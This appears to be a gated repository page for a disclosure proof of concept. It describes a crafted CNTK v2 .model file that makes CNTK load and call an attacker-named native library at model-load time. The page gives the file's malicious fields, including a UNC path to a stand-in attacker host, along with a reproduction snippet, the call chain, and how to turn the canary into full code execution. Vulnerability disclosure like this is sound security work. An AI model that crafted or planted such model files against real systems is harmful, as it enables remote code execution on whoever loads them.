You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Log in or Sign Up to review the conditions and access this model content.

⚠️ Security PoC — CNTK v2 .model native-UserFunction RCE (GATED)

This gated repository contains a single crafted CNTK v2 .model demonstrating arbitrary native library load + call (RCE) at model-load time in microsoft/CNTK. Uploaded solely for coordinated disclosure via huntr and access-gated to the triage team.

The artifact

  • evil.model (581 bytes) — a raw protobuf-serialized CNTK.proto Dictionary (the on-disk CNTK v2 format for sub-2GB models: no magic/length prefix). It encodes a CompositeFunction whose single primitive_functions[0] entry is a native UserFunction:

    • type = "UserDefinedFunction", native = true → routes to Function::DeserializeNativeImpl
    • user_defined_state.type = "NativeUserDefinedFunction"
    • user_defined_state.module = "\\ATTACKER-CANARY\share\evil.pyd"attacker-named library
    • user_defined_state.deserialize_method = "Deserialize" ← attacker export symbol
    • user_defined_state.op = "EvilNativeOp" ← unregistered op → forces the plugin-load branch

    The module value is a benign UNC canary — no payload library exists at that path, so loading the file makes CNTK attempt the remote LoadLibrary (observable as an SMB/WebDAV fetch to ATTACKER-CANARY) without executing attacker code. Swapping in a reachable UNC share / local .dll/.so is what yields full code execution.

Threat model (huntr MFV)

cntk.load_model("evil.model") / cntk.Function.load(...) — the fully public, default-format load API. No user opt-in, no CLI flag, no callback registration. The native branch fires purely because the file says native = true.

Reproduce

import cntk
cntk.load_model("evil.model")
# -> Function::Load(CNTKv2) -> CompositeFunction::Deserialize
#    -> UDFUtils::Deserialize (IsUDF: type==UserDefinedFunction)
#    -> IsNativeUDF (native==true) -> Function::DeserializeNativeImpl
#    -> Plugin::Load("\\ATTACKER-CANARY\share\evil.pyd","Deserialize")
#    -> LoadLibrary(UNC) + GetProcAddress + CALL   ==> native code execution

Windows: .pyd is used verbatim (no suffix mangling); LoadLibrary of the UNC path fetches and executes DllMain from the remote share — single-file remote RCE. Linux: point module at a planted absolute-path .so (e.g. /dev/shm/evil.so) → dlopen + dlsym + call (two-ingredient).

Sink: Source/CNTKv2LibraryDll/UserDefinedFunction.cpp:35-67 · loader Source/Common/File.cpp:1028-1094 · no AllowNative/trusted/safe_load guard exists in CNTKv2LibraryDll (grepped, zero hits).

Verification status (honest)

The .model is encoded faithfully to the real CNTK.proto schema and the exact key / type / version contract traced from CNTK source (version map-key required per GetVersion; type strings CompositeFunction / UserDefinedFunction / NativeUserDefinedFunction; required-key sets for each deserializer). The protobuf wire format was validated by round-trip decode. It was not executed at runtime — CNTK is archived/EOL (last release 2.7, 2019) and does not build on the disclosure host. The sink, the full public-API → sink chain, and the absence of any guard are source-confirmed.

CWE-502 + CWE-494 · CVSS ~8.8 (Windows UNC) · RCE.

Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. 🙋 Ask for provider support